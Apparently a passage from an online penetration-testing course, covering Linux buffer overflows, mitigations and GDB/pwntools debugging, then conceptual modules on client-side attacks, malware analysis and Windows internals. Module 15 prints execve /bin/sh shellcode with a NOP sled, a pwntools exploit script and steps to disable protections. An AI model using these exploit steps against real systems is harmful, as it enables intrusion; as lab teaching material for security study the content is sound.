  • EBX: Base register
  • ECX: Counter (loops)
  • EDX: Data register
  • ESI: Source index
  • EDI: Destination index
Stack & Frame:
  • ESP: Stack Pointer (points to top of stack)
  • EBP: Base Pointer (points to current frame)
  • EIP: Instruction Pointer (next instruction)
Segment & Flags:
  • CS, DS, SS, ES, FS, GS: Segment registers
  • EFLAGS: Status flags (ZF, CF, SF, etc.)
🔢 x86-64 (64-bit) Register Overview
General Purpose (64-bit):
  • RAX: Accumulator, return value
  • RBX: Base register
  • RCX: Counter
  • RDX: Data register
  • RSI: Source index
  • RDI: Destination index
  • R8-R15: Additional registers
Stack & Frame:
  • RSP: Stack Pointer
  • RBP: Base Pointer
  • RIP: Instruction Pointer
Other:
  • RFLAGS: Status flags
  • FS, GS: Used for Thread Local Storage
📚 Calling Conventions
x86 (cdecl) - 32-bit

Most common calling convention on Linux 32-bit.

Argument Passing:
  • Arguments pushed on stack (right to left)
  • Caller cleans up stack after call
Function Prologue:
push ebp          ; Save old base pointer
mov ebp, esp      ; Set new base pointer
sub esp, X        ; Allocate space for locals
                        
Function Epilogue:
mov esp, ebp      ; Deallocate locals
pop ebp           ; Restore old base pointer
ret               ; Return to caller
                        
Return Value:

EAX (or EDX:EAX for 64-bit values)

x86-64 (System V AMD64 ABI)

Standard calling convention on Linux 64-bit.

Argument Passing:
  • First 6 arguments in registers: RDI, RSI, RDX, RCX, R8, R9
  • Remaining arguments on stack (right to left)
  • Caller cleans up stack
Function Prologue (optional with frame pointer):
push rbp
mov rbp, rsp
sub rsp, X
                        
Function Epilogue:
leave    ; Equivalent to: mov rsp, rbp; pop rbp
ret
                        
Return Value:

RAX (or RDX:RAX for 128-bit)

🥞 Stack Frame Anatomy
x86 Stack Frame:
Higher addresses
+-----------------+
| Function args   |  (if any, pushed by caller)
+-----------------+
| Return address  |  (pushed by CALL instruction)
+-----------------+
| Saved EBP       |  (pushed by prologue)
+-----------------+
| Local variables |  ↓ (allocated by sub esp)
+-----------------+
| ...             |
+-----------------+
Lower addresses (ESP points here)
                        
x86-64 Stack Frame:
Higher addresses
+-----------------+
| Stack args      |  (7th arg and beyond)
+-----------------+
| Return address  |  (pushed by CALL)
+-----------------+
| Saved RBP       |  (optional, if frame pointer used)
+-----------------+
| Local variables |
+-----------------+
| Red zone        |  (128 bytes below RSP, safe from interrupts)
+-----------------+
Lower addresses (RSP points here)
                        
Note: x86-64 has a 128-byte "red zone" below RSP that's safe from asynchronous events, often used for leaf functions.
🔬 Function Call Example

Consider this C function call: result = add(5, 3);

x86 Assembly:
; Caller
push 3          ; Push second argument
push 5          ; Push first argument
call add        ; Push return address, jump to add
add esp, 8      ; Clean up stack (caller cleans)

; Function add
add:
    push ebp        ; Save old EBP
    mov ebp, esp    ; Set new EBP
    
    mov eax, [ebp+8]   ; Get first arg (5)
    add eax, [ebp+12]  ; Add second arg (3)
    
    pop ebp         ; Restore EBP
    ret             ; Return (pops return address)
                        
x86-64 Assembly:
; Caller (arguments in registers)
mov edi, 5      ; First arg in RDI
mov esi, 3      ; Second arg in RSI
call add        ; Push return address, jump

; Function add
add:
    push rbp        ; Save old RBP
    mov rbp, rsp    ; Set new RBP (optional)
    
    mov eax, edi    ; Get first arg
    add eax, esi    ; Add second arg
    
    pop rbp         ; Restore RBP
    ret             ; Return
                        
💥 Stack Overflow Impact on Registers

When a buffer overflow occurs, it overwrites data on the stack in this order:

[ buffer ][ saved EBP ][ return address ][ arguments ]
    |          |             |              |
    |          |             |              └─ Can overwrite args for caller
    |          |             └─ Control EIP when function returns
    |          └─ Can corrupt caller's frame
    └─ Local variables overwritten first
                

Critical target: The return address. By overwriting it, an attacker can redirect execution to arbitrary code when the function returns.

; Before overflow (normal)
Return address = 0x08048432 (points back to caller)

; After overflow (attacker controlled)
Return address = 0xbffff7c0 (points to shellcode on stack)
When 'ret' executes, EIP becomes 0xbffff7c0 and shellcode runs!
                
✔ Key Takeaway: The calling convention determines where return addresses are stored. On x86, they're at EBP+4; on x86-64, they're at RBP+8 (if frame pointer used) or at [RSP] after prologue. Understanding this is essential for crafting exploits.

15.3 Overflow-Prone Code Patterns: Common Vulnerabilities in Linux

Certain coding patterns are notoriously vulnerable to buffer overflows. Recognizing these patterns is essential for both secure coding and vulnerability discovery.

🔴 Pattern 1: Unsafe String Functions

The C standard library includes several functions that don't perform bounds checking.

strcpy() - Classic Overflow
#include <stdio.h>
#include <string.h>

void vulnerable(char *input) {
    char buffer[64];
    
    // If input > 63 chars, overflow!
    strcpy(buffer, input);
    
    printf("Buffer: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if (argc > 1)
        vulnerable(argv[1]);
    return 0;
}
                        
strcat() - Append Overflow
void vulnerable(char *suffix) {
    char buffer[64] = "Prefix: ";
    
    // If strlen(buffer) + strlen(suffix) > 63, overflow!
    strcat(buffer, suffix);
}
                        
Other Dangerous Functions:
Function Problem Safe Alternative
gets() No bounds checking, reads until newline fgets()
sprintf() No bounds on formatted output snprintf()
scanf() with %s No width specified scanf("%63s", buffer)
realpath() May overflow output buffer realpath() with size check
🔴 Pattern 2: Off-by-One Errors

Off-by-one errors occur when a loop runs one iteration too many, overwriting a single byte beyond the buffer.

void off_by_one(char *src) {
    char dest[10];
    int i;
    
    // Vulnerable: i <= 10 runs 11 times (0-10)
    for (i = 0; i <= 10; i++) {
        dest[i] = src[i];
    }
    
    // Even single byte overflow can be exploitable!
    // It might overwrite the least significant byte of saved EBP
    // or the return address on little-endian systems.
}
                

Exploitation: On little-endian systems (x86/x86-64), overwriting the least significant byte of a pointer can redirect execution to nearby addresses.

🔴 Pattern 3: Integer Overflows Leading to Buffer Overflows

Integer overflows can cause undersized allocations, which then lead to heap or stack overflows.

void integer_overflow(unsigned int size, char *data) {
    char *buffer;
    
    // If size is 0xFFFFFFFF, size+1 wraps to 0
    buffer = (char*)malloc(size + 1);  // Allocates 0 bytes!
    
    if (buffer) {
        // Copies huge amount into tiny buffer
        memcpy(buffer, data, size);  // Heap overflow!
    }
}
                
Another Example: Multiplication Overflow
void alloc_matrix(unsigned int rows, unsigned int cols) {
    // If rows * cols > 0xFFFFFFFF, integer overflow
    char *matrix = (char*)malloc(rows * cols);
    
    // Then fill matrix - heap overflow if allocation was too small
    for (i = 0; i < rows; i++)
        for (j = 0; j < cols; j++)
            matrix[i*cols + j] = data[i][j];
}
                
🔴 Pattern 4: Format String Vulnerabilities

Format string vulnerabilities occur when user input is passed directly to printf-family functions.

void format_string(char *user_input) {
    char buffer[100];
    
    // Vulnerable: user_input controls format string
    sprintf(buffer, user_input);  // If user_input contains %n, can write memory!
    
    // Even worse:
    printf(user_input);  // Direct format string vulnerability
}
                
Exploitation with %n:

The %n format specifier writes the number of characters printed so far to a pointer argument. Attackers can use this to write arbitrary values to arbitrary addresses.

// Attacker input: "AAAA%n"
// Writes 4 to the address pointed to by the stack value where %n expects its argument
// Can overwrite return addresses, GOT entries, etc.
                
🔴 Pattern 5: Heap Overflows

Heap overflows occur when data written to a heap buffer exceeds its allocated size, corrupting adjacent heap metadata or data.

struct node {
    void (*callback)();  // Function pointer
    char buffer[64];
};

void heap_vulnerable(char *input) {
    struct node *n = (struct node*)malloc(sizeof(struct node));
    
    // If input > 63 chars, overflows into callback pointer
    strcpy(n->buffer, input);
    
    // Later...
    n->callback();  // Calls attacker-controlled address if overflowed
}
                

Linux Heap Internals: The ptmalloc2 allocator (based on dlmalloc) uses chunk metadata stored adjacent to user data. Overflows can corrupt these metadata structures.

Heap chunk layout (simplified):
[ prev_size ][ size & flags ][ user data ][ next chunk... ]
    4/8B          4/8B
                
🔴 Pattern 6: Use-After-Free

While not strictly an overflow, use-after-free often combines with heap overflows for exploitation.

void use_after_free() {
    char *buffer = (char*)malloc(100);
    
    // Free the memory
    free(buffer);
    
    // ... attacker might allocate something else at same address
    
    // Use after free!
    strcpy(buffer, "data");  // Writing to freed memory - UB!
}
                

Exploitation: If an attacker can control allocations, they can make freed memory point to attacker-controlled data, then hijack control flow.

🔴 Pattern 7: Stack Buffer from Network Input

Network services often read data into stack buffers without proper length checks.

void handle_connection(int sock) {
    char buffer[256];
    
    // recv returns number of bytes received
    // If client sends >255 bytes, overflow!
    recv(sock, buffer, 1024, 0);  // DANGER!
    
    process_data(buffer);
}
                

Real Example: Many network daemons have been vulnerable to this pattern, including Apache, OpenSSH, and various FTP servers.

🔬 Code Review Checklist for Buffer Overflows
✅ Look for:
  • strcpy(), strcat(), sprintf(), vsprintf()
  • gets(), fgets() with wrong size
  • scanf() with %s without width
  • memcpy() with unchecked length
  • Off-by-one in loop conditions
  • Integer overflows in allocation size
  • User input as format string
✅ Verify:
  • Buffer sizes match what's copied
  • Null termination after string ops
  • Input length validation before copy
  • Allocation size checks for overflow
  • Proper use of safe functions (strncpy, snprintf)
⚠️ Remember: Even with safe functions, mistakes happen. strncpy() doesn't null-terminate if source length >= dest size. Always ensure null termination manually.

15.4 Linux Overflow Prevention: Modern Protections

Modern Linux systems implement multiple layers of defense against buffer overflow attacks. Understanding these protections is essential for both security practitioners and developers.

🛡️ NX (No-Execute) / DEP

Marks certain memory regions (stack, heap) as non-executable, preventing direct shellcode execution.

Check NX Status:
# Check with readelf
$ readelf -l program | grep GNU_STACK
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
                                                          ^^^
                                                          RWE = Read/Write/Execute

# R (Read), W (Write), E (Execute)
# If E present, stack is executable (dangerous)
                        
Enable NX at compile time:
gcc -z noexecstack program.c   # Mark stack as non-executable
gcc -z execstack program.c      # Mark stack as executable (insecure)
                        
Bypass Techniques:
  • Return-to-libc (ret2libc): Call existing libc functions (system(), execve())
  • ROP (Return-Oriented Programming): Chain small instruction sequences
  • mprotect() ROP: Call mprotect to make memory executable
🔄 ASLR (Address Space Layout Randomization)

Randomizes memory addresses of key program segments, making it harder to predict where shellcode or ROP gadgets are located.

ASLR Levels in Linux:
# Check ASLR status
$ cat /proc/sys/kernel/randomize_va_space

0 = No randomization
1 = Conservative (stack, VDSO, libraries randomized)
2 = Full (heap also randomized)

# Enable full ASLR
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
                        
What Gets Randomized:
  • Level 1: Stack, VDSO, shared libraries, heap (if brk-based)
  • Level 2: Adds heap (mmap-based) randomization
  • PIE: Executable base (if compiled with -fPIE -pie)
Bypass Techniques:
  • Information leaks: Read memory to disclose addresses
  • Partial overwrites: Modify only low-order bytes
  • Brute force: On 32-bit systems with low entropy
  • Non-ASLR modules: Find libraries without ASLR
📦 PIE (Position Independent Executable)

PIE allows the main executable to be loaded at random addresses, extending ASLR to the program's own code.

# Compile without PIE (traditional fixed address)
gcc -no-pie -fno-pie program.c -o program

# Compile with PIE (randomized)
gcc -fPIE -pie program.c -o program

# Check if PIE enabled
$ readelf -h program | grep Type
Type: DYN (Shared object file)  # PIE enabled
Type: EXEC (Executable file)     # No PIE
                

Impact: Without PIE, the program's .text section is at a fixed address (e.g., 0x08048000 on 32-bit). With PIE, it's randomized, making ROP gadget addresses unpredictable.

🛡️ Stack Canaries (Stack Protector)

A random value placed between local variables and return address. Checked before function return.

# GCC stack protection levels
gcc -fstack-protector       # Protect functions with vulnerable objects
gcc -fstack-protector-all   # Protect all functions
gcc -fstack-protector-strong # Protect functions with any local array
gcc -fno-stack-protector    # Disable canaries

# Stack layout with canary
[ buffer ][ CANARY ][ saved EBP ][ return address ]

# When function returns:
if (canary != __stack_chk_guard)
    __stack_chk_fail();  // Crash securely
                

Bypass: Information leak to read canary, or overwrite without touching canary (if buffer adjacent to return address in different way).

🔒 RELRO (RELocation Read-Only)

Protects the GOT (Global Offset Table) from overwrite attacks.

RELRO Levels:
# No RELRO
gcc -z norelro program.c

# Partial RELRO (default on many distros)
gcc -z relro program.c
# .got read-only after dynamic linking, .got.plt writable

# Full RELRO
gcc -z relro -z now program.c
# All GOT entries resolved before startup, entire GOT read-only
                        
Check RELRO with checksec:
$ checksec --file=program
RELRO           STACK CANARY    NX             PIE
Full RELRO      Canary found    NX enabled     PIE enabled
                        

Impact: Full RELRO prevents GOT overwrite attacks, a common exploitation technique.

📊 Protection Features Comparison
Protection What It Protects Bypass Difficulty Common Bypass
NX Stack/Heap execution High ROP, ret2libc
ASLR Memory address randomization High Information leaks
PIE Executable base randomization High Information leaks
Stack Canaries Return address integrity Medium Canary leaks, overwrite without touching canary
RELRO (Full) GOT overwrites Very High Alternative overwrite targets (e.g., .dtors, function pointers)
🔧 Using checksec to Analyze Binaries

The checksec tool (part of pwntools or available separately) shows all security features of a binary.

$ checksec --file=/bin/bash
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    DSO             No RPATH   No RUNPATH   No Symbols        Yes    5               18          /bin/bash

$ checksec --file=./vulnerable
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   72 Symbols        No     0               2           ./vulnerable
                

Interpretation:

  • No canary: Stack overflows possible
  • No PIE: Executable at fixed address, ROP gadgets predictable
  • Partial RELRO: GOT overwrite possible
  • NX enabled: Need ROP, can't just jump to shellcode on stack
💡 Defense in Depth: Modern systems combine all these protections. A typical modern Linux binary might have: Full RELRO + Stack Canary + NX + PIE + ASLR. Exploiting such a binary requires multiple bypass techniques and information leaks.

15.5 Debugging Overflows Safely: Tools and Techniques

Debugging buffer overflows requires specialized tools and techniques. Safe debugging practices ensure you can analyze vulnerabilities without causing harm or breaking laws.

🔧 GDB (GNU Debugger) Basics

GDB is the primary debugger on Linux for analyzing crashes and developing exploits.

Essential GDB Commands:
Command Purpose
run [args] Run program with arguments
break *address Set breakpoint
info registers Show register values
x/20x $rsp Examine 20 words of stack
disassemble function Show assembly
continue Continue execution
backtrace Show call stack
pattern create 200 Create cyclic pattern (with pwndbg)
GDB Enhancements:
  • PEDA (Python Exploit Development Assistance): Colorized output, command enhancements
  • pwndbg: Focused on exploit development
  • GEF (GDB Enhanced Features): Another powerful enhancement
Install pwndbg:
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
                        
🔬 Finding the Overflow Offset

To exploit a buffer overflow, you need to know exactly where the return address is located relative to the buffer start.

Method 1: Cyclic Pattern
# Generate pattern
$ pattern_create 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

# Run in GDB with pattern as input
# When crash happens, check EIP value
$ gdb ./vulnerable
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

# After crash, find offset
(gdb) pattern_offset $eip
[+] Finding offset for 0x63413563 (in pattern)
[+] Offset found: 112
                        
Method 2: Manual Offset
# Use De Bruijn pattern with pwntools
from pwn import *
pattern = cyclic(200)
print(pattern)

# In GDB, after crash:
offset = cyclic_find(p32(0x6161616b))  # Replace with value from EIP
print(offset)
                        
🔬 Analyzing a Crash
$ gdb ./vulnerable
(gdb) run $(python -c 'print "A"*112 + "BBBB"')
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info registers
eax            0x0      0
ecx            0xffffffff       -1
edx            0xb7fb8870       -1208110992
ebx            0xb7fb8000       -1208111104
esp            0xbffff5d0       0xbffff5d0
ebp            0x41414141       0x41414141
esi            0x8048570        134513520
edi            0x0      0
eip            0x42424242       0x42424242
eflags         0x10282  [ SF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

(gdb) x/10x $esp
0xbffff5d0:     0xbffff600      0xb7e8e9c6      0x2      0xbffff65c
0xbffff5e0:     0xbffff668      0xb7fe1858      0xbffff624      0xffffffff
0xbffff5f0:     0xb7ffe190      0xb7e8e9c6

# We control EIP (0x42424242) - good!
# Now we can redirect execution to shellcode
                
🧪 Testing with Pwntools

Pwntools is a Python library for exploit development, making it easier to create and test exploits.

#!/usr/bin/env python3
from pwn import *

# Set up the binary
binary = './vulnerable'
elf = ELF(binary)

# Start the process
p = process(binary)

# Create exploit payload
offset = 112
payload = b'A' * offset
payload += p32(elf.symbols['win'])  # Address of win function

# Send payload
p.sendline(payload)

# Get interactive shell
p.interactive()
                
Pwntools Features:
  • Cyclic pattern generation and offset finding
  • ELF parsing (symbols, sections, GOT/PLT)
  • ROP chain building
  • Shellcode generation
  • Remote connection handling
⚠️ Safe Debugging Practices
✅ DO:
  • Always use isolated virtual machines
  • Take snapshots before debugging
  • Use intentionally vulnerable programs (protostar, vulnserver)
  • Disable ASLR for learning: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
  • Compile with debug symbols: -g flag
  • Use GDB with caution - it can affect memory layout
❌ DON'T:
  • Never debug on production systems
  • Don't run untrusted exploits on your host machine
  • Don't disable security features on production systems
  • Never test on systems you don't own
  • Don't share working exploits publicly without responsibility
🔬 Complete Debugging Example
# Step 1: Compile vulnerable program (disable protections for learning)
$ gcc -fno-stack-protector -z execstack -no-pie -m32 -o vuln vuln.c

# Step 2: Run with pattern to find offset
$ gdb ./vuln
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

# Step 3: Find offset
(gdb) pattern_offset $eip
Found at offset 112

# Step 4: Verify control
(gdb) run $(python -c 'print "A"*112 + "BBBB"')
eip = 0x42424242 - confirmed

# Step 5: Find shellcode address
(gdb) break *vulnerable_function
(gdb) run
(gdb) p $esp
$1 = (void *) 0xbffff5c0
# Shellcode address might be around 0xbffff5c0 + offset

# Step 6: Create exploit with nopsled
$ python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A"*12 + "\xc0\xf5\xff\xbf"' | ./vuln
                
🔧 Additional Debugging Tools
strace

Trace system calls

strace ./program
ltrace

Trace library calls

ltrace ./program
valgrind

Memory error detection

valgrind ./program
objdump

Disassemble binary

objdump -d program
⚠️ Safety Reminder: Always debug in isolated environments. Modern systems have protections that make classic stack overflows difficult to exploit. Use intentionally vulnerable VMs like VulnHub, pwnable.tw, or picoCTF for practice.

🐧

Module 15: Linux Buffer Overflows Successfully Completed

You've mastered Linux-specific buffer overflow concepts, protections, and debugging techniques!

Module Complete
📋 What You've Learned
✓ Linux Memory
✓ x86/x64 Registers
✓ Stack Frames
✓ Calling Conventions
✓ Unsafe Patterns
✓ NX/DEP
✓ ASLR
✓ PIE
✓ Stack Canaries
✓ RELRO
✓ GDB Debugging
✓ Pwntools
✓ Offset Finding
✓ Safe Practices
✓ checksec

You have successfully completed this module of Penetration Testing Mastery Course.

Continue your journey — Continue to Module 16: Client-Side Attacks →


📖 Module 15 Glossary

ELF
Executable and Linkable Format - Linux executable format
GOT
Global Offset Table - pointers to dynamic functions
PLT
Procedure Linkage Table - stubs for dynamic calls
cdecl
C declaration calling convention (32-bit x86)
System V AMD64 ABI
Calling convention for x86-64 Linux
Red Zone
128-byte area below RSP safe from interrupts
PIE
Position Independent Executable - ASLR for code
RELRO
RELocation Read-Only - protects GOT
checksec
Tool to check binary security features
📝 Module 15 Knowledge Check

1. Where are the first 6 arguments passed in x86-64 Linux?

2. What does PIE (Position Independent Executable) accomplish?

3. Which tool would you use to find the offset where EIP is overwritten?

📚 Additional Resources
  • Classic Paper: "Smashing the Stack for Fun and Profit" by Aleph One
  • Modern Exploitation: "Hacking: The Art of Exploitation" by Jon Erickson
  • Practice: pwnable.kr, pwnable.tw, picoCTF, Protostar
  • Tools: pwntools, pwndbg, GEF, checksec
  • Online: LiveOverflow YouTube channel, RPISEC Modern Binary Exploitation

Module 16 – Client-Side Attacks (Ultra-Detailed & Safe)

Client-side attacks target the user’s browser, local system, or interaction layer rather than the backend server. These attacks exploit weaknesses in browser behavior, plugins, scripts, input processing, and user trust. This module explains the conceptual, safe, and ethical understanding of how client-side risks work during authorized penetration testing.

⚠️ Important:
This module teaches security concepts only. No payloads, malicious scripts, or exploit instructions are included. All testing must be conducted only with written authorization.

16.1 What Are Client-Side Attacks?

Client-side attacks occur when malicious data or behavior is processed on the user’s device, within their browser, or through interactive content.

🎯 Why Client-Side Attacks Matter

  • ✔ Browsers handle sensitive data (cookies, tokens, credentials)
  • ✔ Users often trust website content blindly
  • ✔ Applications rely heavily on JavaScript (increasing attack surfaces)
  • ✔ Third-party scripts can behave unpredictably
  • ✔ Misconfigurations lead to data leaks
💡 Analogy:
A web browser is like a mailbox. If you don’t inspect the mail carefully, a harmful letter could cause trouble.

16.2 Browser Architecture & Attack Surfaces

Modern browsers (Chrome, Firefox, Edge, Safari) include complex engines and multiple layers. Each layer introduces potential attack surfaces.

🧩 Browser Components

Component Description Client-Side Risk
JavaScript Engine Executes client-side scripts Script injection issues
DOM Parser Builds & manipulates page structure DOM-based vulnerabilities
Rendering Engine Draws HTML/CSS content CSS injection/desync issues
Network Layer Handles requests/responses Mixed content, insecure redirects
Extensions & Plugins Enhance browser functionality Excessive permissions
✔ More browser features = more possible weak points.

16.3 Social Engineering (Client-Side Triggering)

Client-side attacks often start with social engineering — attackers rely on user action rather than system vulnerabilities.

🚨 Common Social Engineering Techniques (Safe Explanation)

  • 🎭 Fake login pages (phishing)
  • 📩 Malicious email attachments (unsafe files)
  • 🔗 Suspicious links disguised as legitimate sources
  • 🧩 Fake browser updates requests
  • 💬 Social media impersonation
✔ Social engineering works because humans are the weakest security link.

16.4 Clickjacking (UI Redressing)

Clickjacking occurs when a user clicks something they did not intend to click because the UI has been manipulated visually.

🎨 How Clickjacking Works (Safe Explanation)

  • ✔ Transparent layers overlay real buttons
  • ✔ Users interact with hidden content accidentally
  • ✔ Often combined with iframes & CSS tricks

🛡️ Defenses Against Clickjacking

  • ✔ Use X-Frame-Options header
  • ✔ Implement frame-busting scripts
  • ✔ Content Security Policy frame-ancestors
💡 Clickjacking = tricking the user’s eyes, not the server.

16.5 DOM-Based Vulnerabilities

DOM-based vulnerabilities occur entirely on the client side, within the browser, without involving server responses.

📌 Common DOM Attack Surfaces

Vector Description Example Impact (Safe)
document.location URL-based dynamic content Unintended content injection
innerHTML Injects dynamic HTML DOM manipulation risks
eval() Executes strings as code Unsafe script execution
postMessage() Cross-window messaging Data exposure

🛡️ DOM Security Best Practices

  • ✔ Avoid innerHTML when possible
  • ✔ Never trust URL parameters
  • ✔ Validate data before DOM insertion
  • ✔ Avoid dangerous functions like eval()

16.6 Malicious File Types & Client-Side Threats

Some client-side attacks rely on tricking users into opening unsafe files. These files exploit vulnerabilities in local programs or misconfigurations.

📁 Risky File Categories (Safe Explanation)

  • 📄 Macro-enabled office files
  • 📦 Archived files with misleading extensions
  • 🖼️ Image files with malformed metadata
  • 📝 Script-based files like JS/VBS (unsafe)
  • 📃 PDFs with embedded actions
✔ The attack does not target the server — it targets the user's environment.

16.7 Browser Storage Vulnerabilities

Modern browsers store data locally for performance and convenience. If not handled securely, this data becomes an attack surface.

🗂️ Storage Types

  • ✔ Cookies
  • ✔ LocalStorage
  • ✔ SessionStorage
  • ✔ IndexedDB
  • ✔ Cache Storage

🚨 Risks

  • ❗ Storing sensitive data without encryption
  • ❗ Overexposed browser APIs
  • ❗ Unrestricted JavaScript access
✔ Sensitive data should never be stored in localStorage or client-visible locations.

16.8 Client-Side Attack Prevention (Best Practices)

Strong client-side defenses help protect users even if attackers attempt to manipulate content, scripts, or interactions.

🛡️ Core Security Controls

  • ✔ Content Security Policy (CSP)
  • ✔ Strict cookie flags (HttpOnly, Secure, SameSite)
  • ✔ Avoid inline scripts
  • ✔ Input sanitization & output encoding
  • ✔ Sandbox iframes
  • ✔ Limit dangerous JS APIs
  • ✔ Enforce HTTPS everywhere
✔ Client-side security = protecting both the system and the human.

🎓 Module 16 : Client-Side Attacks Successfully Completed

You have successfully completed this module of Advanced Penetration Testing For Beginners.

Keep building your expertise step by step — Learn Next Module →


Module 17 – Introduction to Malware Analysis (Ultra-Detailed & Safe)

Malware analysis is the scientific study of malicious software to understand its behavior, purpose, origin, and indicators of compromise (IOCs). It is used by defenders, SOC teams, threat hunters, and cybersecurity analysts to protect systems.

This module provides a safe, non-exploit, deeply conceptual explanation of malware analysis techniques, environments, classifications, and defensive strategies.

⚠️ Important:
This module teaches defensive and analytical concepts only. No malware code, no reverse engineering instructions, and no harmful techniques are included. All content is purely educational and allowed in professional training environments.

17.1 What Is Malware Analysis?

Malware analysis is the process of examining malicious programs to understand:

  • ✔ How the malware behaves
  • ✔ What system changes it attempts
  • ✔ What data it targets
  • ✔ How it communicates (network behavior)
  • ✔ How to detect, block, or remove it
💡 Analogy:
Malware analysis is like studying a harmful plant in a controlled lab to understand how it spreads and how to stop it — without letting it escape.

🎯 Primary Goals

  • ✔ Identify Indicators of Compromise (IOCs)
  • ✔ Understand malware capabilities
  • ✔ Assist incident response & threat hunting
  • ✔ Help strengthen security controls

17.2 Types of Malware (Safe Classification)

Malware comes in many forms, each designed for different malicious intentions. Below is a safe, classification-only overview.

Type Description (Safe) Typical Behavior Summary
Virus Attaches to legitimate files Replicates when files run
Worm Self-propagates without user action Network spreading
Trojan Disguised as legitimate software Backdoors or data theft
Ransomware Encrypts files for payment Data unavailability
Spyware Collects user or system info Keylogging, monitoring
Rootkits Hides malicious processes Persistence, stealth
Adware Displays unwanted ads Tracking user behavior
✔ Malware classification helps analysts predict behavior and plan defenses.

17.3 Malware Analysis Phases

Malware analysis is conducted in stages to ensure safety and maximize understanding.

🧪 4 Major Phases (Safe Overview)

  1. Static Analysis (High-Level Review)
    Examining malware without running it.
  2. Dynamic Analysis (Behavior Observation)
    Running malware in a controlled isolated environment.
  3. Memory & Artifact Analysis
    Checking logs, registry changes, file system artifacts.
  4. Reporting & IOC Extraction
    Sharing IOCs, patterns, and defensive insights.
✔ Analysts do not need to interact with malware code directly — tools observe behavior safely.

17.4 Safe Static Analysis Concepts

Static analysis involves reviewing a file without executing it — the safest first step.

🔍 What Analysts Look For

  • ✔ File type & metadata
  • ✔ Suspicious strings
  • ✔ File size & structure anomalies
  • ✔ Embedded resources
  • ✔ Import/export functions
✔ Static analysis provides a safe blueprint of malware behavior.

17.5 Safe Dynamic Analysis Concepts

Dynamic analysis observes malware behavior inside a secure sandbox or virtual machine.

⚠️ Safe Behavior Indicators (Conceptual)

  • ✔ File creation or deletion
  • ✔ Registry or configuration changes
  • ✔ Attempts to communicate over a network
  • ✔ Process spawning
  • ✔ Persistence attempts

🛡️ Safe Dynamic Environments

  • ✔ Isolated virtual machines (VMware/VirtualBox)
  • ✔ Sandboxing tools
  • ✔ Network simulation environments
  • ✔ Snapshot & revert ability
✔ Analysts never run malware on real systems — only isolated labs.

17.6 Indicators of Compromise (IOCs)

IOCs help defenders detect, block, and respond to malware attacks. Malware analysis focuses heavily on extracting these indicators safely.

IOC Type Description Examples (Safe)
File Hashes Unique fingerprint of malware SHA-256 hash values
Network Indicators Malware communication endpoints Suspicious domains/IPs
Registry Keys Persistence locations Startup entries
File Paths Locations malware interacts with Temporary file locations
Process Behavior Unusual running processes Unexpected resource spikes
✔ IOCs are shared with SOC teams, SIEM tools, and firewalls for enterprise protection.

17.7 Malware Evasion Techniques (Safe, High-Level)

Modern malware uses evasion to avoid detection. Analysts study these tactics to build stronger defenses.

  • ✔ Obfuscation (hiding intentions)
  • ✔ Packing (compressing or encrypting code)
  • ✔ Environment checks (detecting VMs or sandboxes)
  • ✔ Delayed execution
  • ✔ Fileless techniques
✔ Understanding evasion improves defensive detection rules.

17.8 Defensive Malware Analysis Tools (Conceptual Only)

Malware analysts rely on safe, industry-approved tools to analyze suspicious files without exposing real systems to risk.

🛡️ Categories of Safe Tools

  • ✔ Static analysis utilities (metadata inspection)
  • ✔ Sandboxing platforms
  • ✔ Memory forensic tools
  • ✔ Network traffic analyzers
  • ✔ Threat intelligence platforms
✔ Analysts do not modify or run malware manually — they use controlled tools.

🎓 Module 17 : Locating Public Exploits Successfully Completed

You have successfully completed this module of Advanced Penetration Testing For Beginners.

Keep building your expertise step by step — Learn Next Module →


Module 18 – Windows Internals for Pentesters (Ultra Detailed & Safe)

Understanding Windows internals is essential for authorized penetration testers, security analysts, and incident responders. This module explains how Windows works under the hood — processes, services, memory structure, registry, authentication flow, logs, and system components — without teaching exploitation or bypasses. Knowledge is used strictly for defensive analysis, monitoring, and detection.

⚠️ Important:
This module covers architecture, design concepts, and OS behavior only. No exploit steps, no bypass instructions, and no offensive actions are included. 100% safe for cybersecurity learning.

18.1 Windows Architecture Overview

Windows is a hybrid operating system with multiple layers that interact to manage hardware, processes, security, and memory. Understanding these layers helps analysts interpret logs, investigate incidents, and monitor programs.

🧩 Core Windows Architecture Layers

Layer Description Components
